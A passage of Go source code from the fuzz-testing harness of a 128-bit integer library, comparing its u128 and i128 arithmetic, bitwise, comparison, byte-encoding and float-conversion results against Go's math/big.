fuzzInc: 528 | return "++" 529 | case fuzzLessThan, fuzzLessThan64: 530 | return "<" 531 | case fuzzLessOrEqualTo, fuzzLessOrEqualTo64: 532 | return "<=" 533 | case fuzzLsh: 534 | return "<<" 535 | case fuzzMul, fuzzMul64: 536 | return "*" 537 | case fuzzNeg: 538 | return "-" 539 | case fuzzNot: 540 | return "^" 541 | case fuzzOr: 542 | return "|" 543 | case fuzzQuo, fuzzQuo64: 544 | return "/" 545 | case fuzzQuoRem, fuzzQuoRem64: 546 | return "/%" 547 | case fuzzRem, fuzzRem64: 548 | return "%" 549 | case fuzzRotateLeft: 550 | return "rotl()" 551 | case fuzzRsh: 552 | return ">>" 553 | case fuzzSetBit: 554 | return "setbit()" 555 | case fuzzString: 556 | return "string()" 557 | case fuzzSub, fuzzSub64: 558 | return "-" 559 | case fuzzXor, fuzzXor64: 560 | return "^" 561 | default: 562 | return string(op) 563 | } 564 | } 565 | 566 | type fuzzU128 struct { 567 | source *rando 568 | } 569 | 570 | func (f fuzzU128) Name() string { return "u128" } 571 | 572 | func (f fuzzU128) Abs() error { 573 | return nil // Always succeeds! 574 | } 575 | 576 | func (f fuzzU128) Inc() error { 577 | b1 := f.source.BigU128() 578 | u1 := accU128FromBigInt(b1) 579 | rb := new(big.Int).Add(b1, big1) 580 | ru := u1.Inc() 581 | if rb.Cmp(wrapBigU128) >= 0 { 582 | rb = new(big.Int).Sub(rb, wrapBigU128) // simulate overflow 583 | } 584 | return checkEqualU128("inc", ru, rb) 585 | } 586 | 587 | func (f fuzzU128) Dec() error { 588 | b1 := f.source.BigU128() 589 | u1 := accU128FromBigInt(b1) 590 | rb := new(big.Int).Sub(b1, big1) 591 | if rb.Cmp(big0) < 0 { 592 | rb = new(big.Int).Add(wrapBigU128, rb) // simulate underflow 593 | } 594 | ru := u1.Dec() 595 | return checkEqualU128("dec", ru, rb) 596 | } 597 | 598 | func (f fuzzU128) Add() error { 599 | b1, b2 := f.source.BigU128x2() 600 | u1, u2 := accU128FromBigInt(b1), accU128FromBigInt(b2) 601 | rb := new(big.Int).Add(b1, b2) 602 | rb = simulateBigU128Overflow(rb) 603 | ru := u1.Add(u2) 604 | return checkEqualU128("add", ru, rb) 605 | } 606 | 607 | func (f fuzzU128) Add64() error { 608 | b1, b2 := f.source.BigU128And64() 609 | u1, u2 := accU128FromBigInt(b1), accU64FromBigInt(b2) 610 | rb := new(big.Int).Add(b1, b2) 611 | rb = simulateBigU128Overflow(rb) 612 | ru := u1.Add64(u2) 613 | return checkEqualU128("add64", ru, rb) 614 | } 615 | 616 | func (f fuzzU128) Sub() error { 617 | b1, b2 := f.source.BigU128x2() 618 | u1, u2 := accU128FromBigInt(b1), accU128FromBigInt(b2) 619 | rb := new(big.Int).Sub(b1, b2) 620 | if rb.Cmp(big0) < 0 { 621 | rb = new(big.Int).Add(wrapBigU128, rb) // simulate underflow 622 | } 623 | ru := u1.Sub(u2) 624 | return checkEqualU128("sub", ru, rb) 625 | } 626 | 627 | func (f fuzzU128) Sub64() error { 628 | b1, b2 := f.source.BigU128And64() 629 | u1, u2 := accU128FromBigInt(b1), accU64FromBigInt(b2) 630 | rb := new(big.Int).Sub(b1, b2) 631 | if rb.Cmp(big0) < 0 { 632 | rb = new(big.Int).Add(wrapBigU128, rb) // simulate underflow 633 | } 634 | ru := u1.Sub64(u2) 635 | return checkEqualU128("sub64", ru, rb) 636 | } 637 | 638 | func (f fuzzU128) Mul() error { 639 | b1, b2 := f.source.BigU128x2() 640 | u1, u2 := accU128FromBigInt(b1), accU128FromBigInt(b2) 641 | rb := new(big.Int).Mul(b1, b2) 642 | rb = simulateBigU128Overflow(rb) 643 | ru := u1.Mul(u2) 644 | return checkEqualU128("mul", ru, rb) 645 | } 646 | 647 | func (f fuzzU128) Mul64() error { 648 | b1, b2 := f.source.BigU128And64() 649 | u1, u2 := accU128FromBigInt(b1), accU64FromBigInt(b2) 650 | rb := new(big.Int).Mul(b1, b2) 651 | rb = simulateBigU128Overflow(rb) 652 | ru := u1.Mul64(u2) 653 | return checkEqualU128("mul64", ru, rb) 654 | } 655 | 656 | func (f fuzzU128) Quo() error { 657 | b1, b2 := f.source.BigU128x2() 658 | u1, u2 := accU128FromBigInt(b1), accU128FromBigInt(b2) 659 | if b2.Cmp(big0) == 0 { 660 | return nil // Just skip this iteration, we know what happens! 661 | } 662 | rb := new(big.Int).Quo(b1, b2) 663 | ru := u1.Quo(u2) 664 | return checkEqualU128("quo", ru, rb) 665 | } 666 | 667 | func (f fuzzU128) Quo64() error { 668 | b1, b2 := f.source.BigU128And64() 669 | u1, u2 := accU128FromBigInt(b1), accU64FromBigInt(b2) 670 | if b2.Cmp(big0) == 0 { 671 | return nil // Just skip this iteration, we know what happens! 672 | } 673 | rb := new(big.Int).Quo(b1, b2) 674 | ru := u1.Quo64(u2) 675 | return checkEqualU128("quo64", ru, rb) 676 | } 677 | 678 | func (f fuzzU128) Rem() error { 679 | b1, b2 := f.source.BigU128x2() 680 | u1, u2 := accU128FromBigInt(b1), accU128FromBigInt(b2) 681 | if b2.Cmp(big0) == 0 { 682 | return nil // Just skip this iteration, we know what happens! 683 | } 684 | rb := new(big.Int).Rem(b1, b2) 685 | ru := u1.Rem(u2) 686 | return checkEqualU128("rem", ru, rb) 687 | } 688 | 689 | func (f fuzzU128) Rem64() error { 690 | b1, b2 := f.source.BigU128And64() 691 | u1, u2 := accU128FromBigInt(b1), accU64FromBigInt(b2) 692 | if b2.Cmp(big0) == 0 { 693 | return nil // Just skip this iteration, we know what happens! 694 | } 695 | rb := new(big.Int).Rem(b1, b2) 696 | ru := u1.Rem64(u2) 697 | return checkEqualU128("rem64", ru, rb) 698 | } 699 | 700 | func (f fuzzU128) QuoRem() error { 701 | b1, b2 := f.source.BigU128x2() 702 | u1, u2 := accU128FromBigInt(b1), accU128FromBigInt(b2) 703 | if b2.Cmp(big0) == 0 { 704 | return nil // Just skip this iteration, we know what happens! 705 | } 706 | 707 | rbq := new(big.Int).Quo(b1, b2) 708 | rbr := new(big.Int).Rem(b1, b2) 709 | ruq, rur := u1.QuoRem(u2) 710 | if err := checkEqualU128("quo", ruq, rbq); err != nil { 711 | return err 712 | } 713 | if err := checkEqualU128("rem", rur, rbr); err != nil { 714 | return err 715 | } 716 | return nil 717 | } 718 | 719 | func (f fuzzU128) QuoRem64() error { 720 | b1, b2 := f.source.BigU128And64() 721 | u1, u2 := accU128FromBigInt(b1), accU64FromBigInt(b2) 722 | if b2.Cmp(big0) == 0 { 723 | return nil // Just skip this iteration, we know what happens! 724 | } 725 | 726 | rbq := new(big.Int).Quo(b1, b2) 727 | rbr := new(big.Int).Rem(b1, b2) 728 | ruq, rur := u1.QuoRem64(u2) 729 | if err := checkEqualU128("quo64", ruq, rbq); err != nil { 730 | return err 731 | } 732 | if err := checkEqualU128("rem64", rur, rbr); err != nil { 733 | return err 734 | } 735 | return nil 736 | } 737 | 738 | func (f fuzzU128) Cmp() error { 739 | b1, b2 := f.source.BigU128x2() 740 | u1, u2 := accU128FromBigInt(b1), accU128FromBigInt(b2) 741 | return checkEqualInt(u1.Cmp(u2), b1.Cmp(b2)) 742 | } 743 | 744 | func (f fuzzU128) Cmp64() error { 745 | b1, b2 := f.source.BigU128And64() 746 | u1, u2 := accU128FromBigInt(b1), accU64FromBigInt(b2) 747 | return checkEqualInt(u1.Cmp64(u2), b1.Cmp(b2)) 748 | } 749 | 750 | func (f fuzzU128) Equal() error { 751 | b1, b2 := f.source.BigU128x2() 752 | u1, u2 := accU128FromBigInt(b1), accU128FromBigInt(b2) 753 | return checkEqualBool(u1.Equal(u2), b1.Cmp(b2) == 0) 754 | } 755 | 756 | func (f fuzzU128) Equal64() error { 757 | b1, b2 := f.source.BigU128And64() 758 | u1, u2 := accU128FromBigInt(b1), accU64FromBigInt(b2) 759 | return checkEqualBool(u1.Equal64(u2), b1.Cmp(b2) == 0) 760 | } 761 | 762 | func (f fuzzU128) GreaterThan() error { 763 | b1, b2 := f.source.BigU128x2() 764 | u1, u2 := accU128FromBigInt(b1), accU128FromBigInt(b2) 765 | return checkEqualBool(u1.GreaterThan(u2), b1.Cmp(b2) > 0) 766 | } 767 | 768 | func (f fuzzU128) GreaterThan64() error { 769 | b1, b2 := f.source.BigU128And64() 770 | u1, u2 := accU128FromBigInt(b1), accU64FromBigInt(b2) 771 | return checkEqualBool(u1.GreaterThan64(u2), b1.Cmp(b2) > 0) 772 | } 773 | 774 | func (f fuzzU128) GreaterOrEqualTo() error { 775 | b1, b2 := f.source.BigU128x2() 776 | u1, u2 := accU128FromBigInt(b1), accU128FromBigInt(b2) 777 | return checkEqualBool(u1.GreaterOrEqualTo(u2), b1.Cmp(b2) >= 0) 778 | } 779 | 780 | func (f fuzzU128) GreaterOrEqualTo64() error { 781 | b1, b2 := f.source.BigU128And64() 782 | u1, u2 := accU128FromBigInt(b1), accU64FromBigInt(b2) 783 | return checkEqualBool(u1.GreaterOrEqualTo64(u2), b1.Cmp(b2) >= 0) 784 | } 785 | 786 | func (f fuzzU128) LessThan() error { 787 | b1, b2 := f.source.BigU128x2() 788 | u1, u2 := accU128FromBigInt(b1), accU128FromBigInt(b2) 789 | return checkEqualBool(u1.LessThan(u2), b1.Cmp(b2) < 0) 790 | } 791 | 792 | func (f fuzzU128) LessThan64() error { 793 | b1, b2 := f.source.BigU128And64() 794 | u1, u2 := accU128FromBigInt(b1), accU64FromBigInt(b2) 795 | return checkEqualBool(u1.LessThan64(u2), b1.Cmp(b2) < 0) 796 | } 797 | 798 | func (f fuzzU128) LessOrEqualTo() error { 799 | b1, b2 := f.source.BigU128x2() 800 | u1, u2 := accU128FromBigInt(b1), accU128FromBigInt(b2) 801 | return checkEqualBool(u1.LessOrEqualTo(u2), b1.Cmp(b2) <= 0) 802 | } 803 | 804 | func (f fuzzU128) LessOrEqualTo64() error { 805 | b1, b2 := f.source.BigU128And64() 806 | u1, u2 := accU128FromBigInt(b1), accU64FromBigInt(b2) 807 | return checkEqualBool(u1.LessOrEqualTo64(u2), b1.Cmp(b2) <= 0) 808 | } 809 | 810 | func (f fuzzU128) And() error { 811 | b1, b2 := f.source.BigU128x2() 812 | u1, u2 := accU128FromBigInt(b1), accU128FromBigInt(b2) 813 | rb := new(big.Int).And(b1, b2) 814 | ru := u1.And(u2) 815 | return checkEqualU128("and", ru, rb) 816 | } 817 | 818 | func (f fuzzU128) And64() error { 819 | b1, b2 := f.source.BigU128And64() 820 | u1, u2 := accU128FromBigInt(b1), accU64FromBigInt(b2) 821 | rb := new(big.Int).And(b1, b2) 822 | ru := u1.And64(u2) 823 | return checkEqualU128("and64", ru, rb) 824 | } 825 | 826 | func (f fuzzU128) AndNot() error { 827 | b1, b2 := f.source.BigU128x2() 828 | u1, u2 := accU128FromBigInt(b1), accU128FromBigInt(b2) 829 | rb := new(big.Int).AndNot(b1, b2) 830 | ru := u1.AndNot(u2) 831 | return checkEqualU128("andnot", ru, rb) 832 | } 833 | 834 | func (f fuzzU128) Or() error { 835 | b1, b2 := f.source.BigU128x2() 836 | u1, u2 := accU128FromBigInt(b1), accU128FromBigInt(b2) 837 | rb := new(big.Int).Or(b1, b2) 838 | ru := u1.Or(u2) 839 | return checkEqualU128("or", ru, rb) 840 | } 841 | 842 | func (f fuzzU128) Or64() error { 843 | b1, b2 := f.source.BigU128And64() 844 | u1, u2 := accU128FromBigInt(b1), accU64FromBigInt(b2) 845 | rb := new(big.Int).Or(b1, b2) 846 | ru := u1.Or64(u2) 847 | return checkEqualU128("or", ru, rb) 848 | } 849 | 850 | func (f fuzzU128) Xor() error { 851 | b1, b2 := f.source.BigU128x2() 852 | u1, u2 := accU128FromBigInt(b1), accU128FromBigInt(b2) 853 | rb := new(big.Int).Xor(b1, b2) 854 | ru := u1.Xor(u2) 855 | return checkEqualU128("xor", ru, rb) 856 | } 857 | 858 | func (f fuzzU128) Xor64() error { 859 | b1, b2 := f.source.BigU128And64() 860 | u1, u2 := accU128FromBigInt(b1), accU64FromBigInt(b2) 861 | rb := new(big.Int).Xor(b1, b2) 862 | ru := u1.Xor64(u2) 863 | return checkEqualU128("xor", ru, rb) 864 | } 865 | 866 | func (f fuzzU128) Lsh() error { 867 | b1, by := f.source.BigU128AndBitSize() 868 | u1 := accU128FromBigInt(b1) 869 | rb := new(big.Int).Lsh(b1, by) 870 | rb.And(rb, maxBigU128) 871 | ru := u1.Lsh(by) 872 | return checkEqualU128("lsh", ru, rb) 873 | } 874 | 875 | func (f fuzzU128) Rsh() error { 876 | b1, by := f.source.BigU128AndBitSize() 877 | u1 := accU128FromBigInt(b1) 878 | rb := new(big.Int).Rsh(b1, by) 879 | ru := u1.Rsh(by) 880 | return checkEqualU128("rsh", ru, rb) 881 | } 882 | 883 | func (f fuzzU128) RotateLeft() error { 884 | b1, by := f.source.BigU128AndBitSize() 885 | u1 := accU128FromBigInt(b1) 886 | rb1 := new(big.Int).Set(b1) 887 | rb1.Lsh(rb1, by) 888 | rb1.And(rb1, maxBigU128) 889 | rb2 := new(big.Int).Set(b1) 890 | rb2.Rsh(rb2, 128-by) 891 | rb1.Or(rb1, rb2) 892 | 893 | // FIXME: this does not check RotateLeft with a negative input: 894 | ru := u1.RotateLeft(int(by)) 895 | return checkEqualU128("rotl", ru, rb1) 896 | } 897 | 898 | func (f fuzzU128) Neg() error { 899 | return nil // nothing to do here 900 | } 901 | 902 | func (f fuzzU128) BinBE() error { 903 | b1 := f.source.BigU128() 904 | u1 := accU128FromBigInt(b1) 905 | 906 | b1bts := make([]byte, 16) 907 | b1.FillBytes(b1bts) 908 | 909 | u1bts := make([]byte, 16) 910 | u1.PutBigEndian(u1bts) 911 | 912 | if err := checkEqualBytes("binbe", b1bts, u1bts); err != nil { 913 | return err 914 | } 915 | 916 | u2 := MustU128FromBigEndian(u1bts) 917 | if !u1.Equal(u2) { 918 | return fmt.Errorf("binbe: u128(%s) != u128(%s)", u1.String(), u2.String()) 919 | } 920 | return nil 921 | } 922 | 923 | func (f fuzzU128) BinLE() error { 924 | b1 := f.source.BigU128() 925 | u1 := accU128FromBigInt(b1) 926 | 927 | b1bts := make([]byte, 16) 928 | b1.FillBytes(b1bts) 929 | 930 | // big.Int writes big endian; reverse the slice: 931 | for i, j := 0, len(b1bts)-1; i < j; i, j = i+1, j-1 { 932 | b1bts[i], b1bts[j] = b1bts[j], b1bts[i] 933 | } 934 | 935 | u1bts := make([]byte, 16) 936 | u1.PutLittleEndian(u1bts) 937 | 938 | if err := checkEqualBytes("binle", b1bts, u1bts); err != nil { 939 | return err 940 | } 941 | 942 | u2 := MustU128FromLittleEndian(u1bts) 943 | if !u1.Equal(u2) { 944 | return fmt.Errorf("binbe: u128(%s) != u128(%s)", u1.String(), u2.String()) 945 | } 946 | return nil 947 | } 948 | 949 | func (f fuzzU128) AsFloat64() error { 950 | b1 := f.source.BigU128() 951 | u1 := accU128FromBigInt(b1) 952 | bf := new(big.Float).SetInt(b1) 953 | ruf := u1.AsFloat64() 954 | return checkFloat(b1, ruf, bf) 955 | } 956 | 957 | func (f fuzzU128) FromFloat64() error { 958 | b1 := f.source.BigU128() 959 | u1 := accU128FromBigInt(b1) 960 | bf1 := new(big.Float).SetInt(b1) 961 | f64, _ := bf1.Float64() 962 | 963 | if f64 == u128FloatLimit { 964 | // This is a bit of a cheat to allow rando to use MaxU128, which is 965 | // technically unrepresentable as a float64 due to precision errors. 966 | // The float64 after converting MaxU128 will be the next representable 967 | // float _after_ the maximum one representable within a 128-bit integer. 968 | f64 = maxRepresentableU128Float 969 | } 970 | 971 | r1, inRange := U128FromFloat64(f64) 972 | if !inRange { 973 | panic(fmt.Errorf("float out of u128 range; expected <= %s, found %f", u1, f64)) // FIXME: error 974 | } 975 | 976 | diff := DifferenceU128(u1, r1) 977 | 978 | isZero := b1.Cmp(big0) == 0 979 | if isZero { 980 | return checkEqualU128("fromfloat64", r1, b1) 981 | } else { 982 | diffFloat := new(big.Float).Quo(diff.AsBigFloat(), bf1) 983 | if diffFloat.Cmp(floatDiffLimit) > 0 { 984 | return fmt.Errorf("|128(%s) - big(%s)| = %s, > %s", r1, b1, 985 | cleanFloatStr(fmt.Sprintf("%s", diff)), 986 | cleanFloatStr(fmt.Sprintf("%.20f", floatDiffLimit))) 987 | } 988 | } 989 | return nil 990 | } 991 | 992 | func (f fuzzU128) String() error { 993 | b1 := f.source.BigU128() 994 | u1 := accU128FromBigInt(b1) 995 | return checkEqualString(u1, b1) 996 | } 997 | 998 | func (f fuzzU128) SetBit() error { 999 | b1, bt, bv := f.source.BigU128AndBitSizeAndBitValue() 1000 | u1 := accU128FromBigInt(b1) 1001 | 1002 | bvi := uint(0) 1003 | if bv { 1004 | bvi = 1 1005 | } 1006 | 1007 | rb := new(big.Int).SetBit(b1, int(bt), bvi) 1008 | ru := u1.SetBit(int(bt), bvi) 1009 | return checkEqualU128("setbit", ru, rb) 1010 | } 1011 | 1012 | func (f fuzzU128) Bit() error { 1013 | b1, bt := f.source.BigU128AndBitSize() 1014 | u1 := accU128FromBigInt(b1) 1015 | return checkEqualInt(int(b1.Bit(int(bt))), int(u1.Bit(int(bt)))) 1016 | } 1017 | 1018 | func (f fuzzU128) Not() error { 1019 | b1 := f.source.BigU128() 1020 | u1 := accU128FromBigInt(b1) 1021 | 1022 | ru := u1.Not() 1023 | if ru.Equal(u1) { 1024 | return fmt.Errorf("input unchanged by Not: %v", u1) 1025 | } 1026 | rd := ru.Not() 1027 | if !rd.Equal(u1) { 1028 | return fmt.Errorf("double-not does not equal input. expected %d, found %d", u1, rd) 1029 | } 1030 | 1031 | return nil 1032 | } 1033 | 1034 | func (f fuzzU128) BitLen() error { 1035 | b1 := f.source.BigU128() 1036 | u1 := accU128FromBigInt(b1) 1037 | 1038 | rb := b1.BitLen() 1039 | ru := u1.BitLen() 1040 | 1041 | return checkEqualInt(rb, ru) 1042 | } 1043 | 1044 | // NEWOP: func (f fuzzU128) ...() error {} 1045 | 1046 | type fuzzI128 struct { 1047 | source *rando 1048 | } 1049 | 1050 | func (f fuzzI128) Name() string { return "i128" } 1051 | 1052 | func (f fuzzI128) Abs() error { 1053 | b1 := f.source.BigI128() 1054 | i1 := accI128FromBigInt(b1) 1055 | 1056 | rb := new(big.Int).Abs(b1) 1057 | ib := simulateBigI128Overflow(rb) 1058 | if err := checkEqualI128("abs128", i1.Abs(), ib); err != nil { 1059 | return fmt.Errorf("Abs() failed: %v", err) 1060 | } 1061 | if err := checkEqualU128("absu128", i1.AbsU128(), rb); err != nil { 1062 | return fmt.Errorf("AbsU128() failed: %v", err) 1063 | } 1064 | 1065 | return nil 1066 | } 1067 | 1068 | func (f fuzzI128) Inc() error { 1069 | b1 := f.source.BigI128() 1070 | u1 := accI128FromBigInt(b1) 1071 | rb := new(big.Int).Add(b1, big1) 1072 | ru := u1.Inc() 1073 | rb = simulateBigI128Overflow(rb) 1074 | return checkEqualI128("inc", ru, rb) 1075 | } 1076 | 1077 | func (f fuzzI128) Dec() error { 1078 | b1 := f.source.BigI128() 1079 | u1 := accI128FromBigInt(b1) 1080 | rb := new(big.Int).Sub(b1, big1) 1081 | rb = simulateBigI128Overflow(rb) 1082 | ru := u1.Dec() 1083 | return checkEqualI128("dec", ru, rb) 1084 | } 1085 | 1086 | func (f fuzzI128) Add() error { 1087 | b1, b2 := f.source.BigI128x2() 1088 | u1, u2 := accI128FromBigInt(b1), accI128FromBigInt(b2) 1089 | rb := new(big.Int).Add(b1, b2) 1090 | rb = simulateBigI128Overflow(rb) 1091 | ru := u1.Add(u2) 1092 | return checkEqualI128("add", ru, rb) 1093 | } 1094 | 1095 | func (f fuzzI128) Add64() error { 1096 | b1, b2 := f.source.BigI128And64() 1097 | i1, i2 := accI128FromBigInt(b1), accI64FromBigInt(b2) 1098 | rb := new(big.Int).Add(b1, b2) 1099 | rb = simulateBigI128Overflow(rb) 1100 | ri := i1.Add64(i2) 1101 | return checkEqualI128("add64", ri, rb) 1102 | } 1103 | 1104 | func (f fuzzI128) Sub() error { 1105 | b1, b2 := f.source.BigI128x2() 1106 | i1, i2 := accI128FromBigInt(b1), accI128FromBigInt(b2) 1107 | rb := new(big.Int).Sub(b1, b2) 1108 | rb = simulateBigI128Overflow(rb) 1109 | ri := i1.Sub(i2) 1110 | return checkEqualI128("sub", ri, rb) 1111 | } 1112 | 1113 | func (f fuzzI128) Sub64() error { 1114 | b1, b2 := f.source.BigI128And64() 1115 | i1, i2 := accI128FromBigInt(b1), accI64FromBigInt(b2) 1116 | rb := new(big.Int).Sub(b1, b2) 1117 | rb = simulateBigI128Overflow(rb) 1118 | ri := i1.Sub64(i2) 1119 | return checkEqualI128("sub64", ri, rb) 1120 | } 1121 | 1122 | func (f fuzzI128) Mul() error { 1123 | b1, b2 := f.source.BigI128x2() 1124 | u1, u2 := accI128FromBigInt(b1), accI128FromBigInt(b2) 1125 | rb := new(big.Int).Mul(b1, b2) 1126 | rb = simulateBigI128Overflow(rb) 1127 | ru := u1.Mul(u2) 1128 | return checkEqualI128("mul", ru, rb) 1129 | } 1130 | 1131 | func (f fuzzI128) Mul64() error { 1132 | b1, b2 := f.source.BigI128And64() 1133 | i1, i2 := accI128FromBigInt(b1), accI64FromBigInt(b2) 1134 | rb := new(big.Int).Mul(b1, b2) 1135 | rb = simulateBigI128Overflow(rb) 1136 | ri := i1.Mul64(i2) 1137 | return checkEqualI128("mul64", ri, rb) 1138 | } 1139 | 1140 | func (f fuzzI128) Quo() error { 1141 | b1, b2 := f.source.BigI128x2() 1142 | u1, u2 := accI128FromBigInt(b1), accI128FromBigInt(b2) 1143 | if b2.Cmp(big0) == 0 { 1144 | return nil // Just skip this iteration, we know what happens! 1145 | } 1146 | if u1 == MinI128 && u2 == minusOne { 1147 | return nil // Skip overflow corner case, it's handled in the unit tests and not meaningful here in the fuzzer. 1148 | } 1149 | rb := new(big.Int).Quo(b1, b2) 1150 | ru := u1.Quo(u2) 1151 | return checkEqualI128("quo", ru, rb) 1152 | } 1153 | 1154 | func (f fuzzI128) Quo64() error { 1155 | b1, b2 := f.source.BigI128And64() 1156 | i1, i2 := accI128FromBigInt(b1), accI64FromBigInt(b2) 1157 | if b2.Cmp(big0) == 0 { 1158 | return nil // Just skip this iteration, we know what happens! 1159 | } 1160 | if i1 == MinI128 && i2 == -1 { 1161 | // Skip overflow corner case, it's (not yet, FIXME) handled in the 1162 | // unit tests and not meaningful here in the fuzzer. 1163 | return nil 1164 | } 1165 | rb := new(big.Int).Quo(b1, b2) 1166 | ri := i1.Quo64(i2) 1167 | return checkEqualI128("quo64", ri, rb) 1168 | } 1169 | 1170 | func (f fuzzI128) Rem() error { 1171 | b1, b2 := f.source.BigI128x2() 1172 | u1, u2 := accI128FromBigInt(b1), accI128FromBigInt(b2) 1173 | if b2.Cmp(big0) == 0 { 1174 | return nil // Just skip this iteration, we know what happens! 1175 | } 1176 | if u1 == MinI128 && u2 == minusOne { 1177 | return nil // Skip overflow corner case, it's handled in the unit tests and not meaningful here in the fuzzer. 1178 | } 1179 | rb := new(big.Int).Rem(b1, b2) 1180 | ru := u1.Rem(u2) 1181 | return checkEqualI128("rem", ru, rb) 1182 | } 1183 | 1184 | func (f fuzzI128) Rem64() error { 1185 | b1, b2 := f.source.BigI128And64() 1186 | i1, i2 := accI128FromBigInt(b1), accI64FromBigInt(b2) 1187 | if b2.Cmp(big0) == 0 { 1188 | return nil // Just skip this iteration, we know what happens! 1189 | } 1190 | if i1 == MinI128 && i2 == -1 { 1191 | // Skip overflow corner case, it's (not yet, FIXME) handled in the 1192 | // unit tests and not meaningful here in the fuzzer. 1193 | return nil 1194 | } 1195 | rb := new(big.Int).Rem(b1, b2) 1196 | ri := i1.Rem64(i2) 1197 | return checkEqualI128("rem64", ri, rb) 1198 | } 1199 | 1200 | func (f fuzzI128) QuoRem() error { 1201 | b1, b2 := f.source.BigI128x2() 1202 | u1, u2 := accI128FromBigInt(b1), accI128FromBigInt(b2) 1203 | if b2.Cmp(big0) == 0 { 1204 | return nil // Just skip this iteration, we know what happens! 1205 | } 1206 | if u1 == MinI128 && u2 == minusOne { 1207 | return nil // Skip overflow corner case, it's handled in the unit tests and not meaningful here in the fuzzer. 1208 | } 1209 | 1210 | rbq := new(big.Int).Quo(b1, b2) 1211 | rbr := new(big.Int).Rem(b1, b2) 1212 | ruq, rur := u1.QuoRem(u2) 1213 | if err := checkEqualI128("quo", ruq, rbq); err != nil { 1214 | return err 1215 | } 1216 | if err := checkEqualI128("rem", rur, rbr); err != nil { 1217 | return err 1218 | } 1219 | return nil 1220 | } 1221 | 1222 | func (f fuzzI128) QuoRem64() error { 1223 | b1, b2 := f.source.BigI128And64() 1224 | i1, i2 := accI128FromBigInt(b1), accI64FromBigInt(b2) 1225 | if b2.Cmp(big0) == 0 { 1226 | return nil // Just skip this iteration, we know what happens! 1227 | } 1228 | if i1 == MinI128 && i2 == -1 { 1229 | // Skip overflow corner case, it's (not yet, FIXME) handled in the 1230 | // unit tests and not meaningful here in the fuzzer. 1231 | return nil 1232 | } 1233 | 1234 | rbq := new(big.Int).Quo(b1, b2) 1235 | rbr := new(big.Int).Rem(b1, b2) 1236 | riq, rir := i1.QuoRem64(i2) 1237 | if err := checkEqualI128("quo64", riq, rbq); err != nil { 1238 | return err 1239 | } 1240 | if err := checkEqualI128("rem64", rir, rbr); err != nil { 1241 | return err 1242 | } 1243 | return nil 1244 | } 1245 | 1246 | func (f fuzzI128) Cmp() error { 1247 | b1, b2 := f.source.BigI128x2() 1248 | i1, i2 := accI128FromBigInt(b1), accI128FromBigInt(b2) 1249 | return checkEqualInt(i1.Cmp(i2), b1.Cmp(b2)) 1250 | } 1251 | 1252 | func (f fuzzI128) Cmp64() error { 1253 | b1, b2 := f.source.BigI128And64() 1254 | i1, i2 := accI128FromBigInt(b1), accI64FromBigInt(b2) 1255 | return checkEqualInt(i1.Cmp64(i2), b1.Cmp(b2)) 1256 | } 1257 | 1258 | func (f fuzzI128) Equal() error { 1259 | b1, b2 := f.source.BigI128x2() 1260 | i1, i2 := accI128FromBigInt(b1), accI128FromBigInt(b2) 1261 | return checkEqualBool(i1.Equal(i2), b1.Cmp(b2) == 0) 1262 | } 1263 | 1264 | func (f fuzzI128) Equal64() error { 1265 | b1, b2 := f.source.BigI128And64() 1266 | i1, i2 := accI128FromBigInt(b1), accI64FromBigInt(b2) 1267 | return checkEqualBool(i1.Equal64(i2), b1.Cmp(b2) == 0) 1268 | } 1269 | 1270 | func (f fuzzI128) GreaterThan() error { 1271 | b1, b2 := f.source.BigI128x2() 1272 | i1, i2 := accI128FromBigInt(b1), accI128FromBigInt(b2) 1273 | return checkEqualBool(i1.GreaterThan(i2), b1.Cmp(b2) > 0) 1274 | } 1275 | 1276 | func (f fuzzI128) GreaterThan64() error { 1277 | b1, b2 := f.source.BigI128And64() 1278 | i1, i2 := accI128FromBigInt(b1), accI64FromBigInt(b2) 1279 | return checkEqualBool(i1.GreaterThan64(i2), b1.Cmp(b2) > 0) 1280 | } 1281 | 1282 | func (f fuzzI128) GreaterOrEqualTo() error { 1283 | b1, b2 := f.source.BigI128x2() 1284 | i1, i2 := accI128FromBigInt(b1), accI128FromBigInt(b2) 1285 | return checkEqualBool(i1.GreaterOrEqualTo(i2), b1.Cmp(b2) >= 0) 1286 | } 1287 | 1288 | func (f fuzzI128) GreaterOrEqualTo64() error { 1289 | b1, b2 := f.source.BigI128And64() 1290 | i1, i2 := accI128FromBigInt(b1), accI64FromBigInt(b2) 1291 | return checkEqualBool(i1.GreaterOrEqualTo64(i2), b1.Cmp(b2) >= 0) 1292 | } 1293 | 1294 | func (f fuzzI128) LessThan() error { 1295 | b1, b2 := f.source.BigI128x2() 1296 | i1, i2 := accI128FromBigInt(b1), accI128FromBigInt(b2) 1297 | return checkEqualBool(i1.LessThan(i2), b1.Cmp(b2) < 0) 1298 | } 1299 | 1300 | func (f fuzzI128) LessThan64() error { 1301 | b1, b2 := f.source.BigI128And64() 1302 | i1, i2 := accI128FromBigInt(b1), accI64FromBigInt(b2) 1303 | return checkEqualBool(i1.LessThan64(i2), b1.Cmp(b2) < 0) 1304 | } 1305 | 1306 | func (f fuzzI128) LessOrEqualTo() error { 1307 | b1, b2 := f.source.BigI128x2() 1308 | i1, i2 := accI128FromBigInt(b1), accI128FromBigInt(b2) 1309 | return checkEqualBool(i1.LessOrEqualTo(i2), b1.Cmp(b2) <= 0) 1310 | } 1311 | 1312 | func (f fuzzI128) LessOrEqualTo64() error { 1313 | b1, b2 := f.source.BigI128And64() 1314 | i1, i2 := accI128FromBigInt(b1), accI64FromBigInt(b2) 1315 | return checkEqualBool(i1.LessOrEqualTo64(i2), b1.Cmp(b2) <= 0) 1316 | } 1317 | 1318 | func (f fuzzI128) AsFloat64() error { 1319 | b1 := f.source.BigI128() 1320 | i1 := accI128FromBigInt(b1) 1321 | bf := new(big.Float).SetInt(b1) 1322 | rif := i1.AsFloat64() 1323 | return checkFloat(b1, rif, bf) 1324 | } 1325 | 1326 | func (f fuzzI128) FromFloat64() error { 1327 | b1 := f.source.BigI128() 1328 | i1 := accI128FromBigInt(b1) 1329 | bf1 := new(big.Float).SetInt(b1) 1330 | f1, _ := bf1.Float64() 1331 | r1, inRange := I128FromFloat64(f1) 1332 | if !inRange { 1333 | panic("float out of range") // FIXME: error 1334 | } 1335 | 1336 | diff := DifferenceI128(i1, r1) 1337 | 1338 | isZero := b1.Cmp(big0) == 0 1339 | if isZero { 1340 | return checkEqualI128("fromfloat64", r1, b1) 1341 | } else { 1342 | diffFloat := new(big.Float).Quo(diff.AsBigFloat(), bf1) 1343 | if diffFloat.Cmp(floatDiffLimit) > 0 { 1344 | return 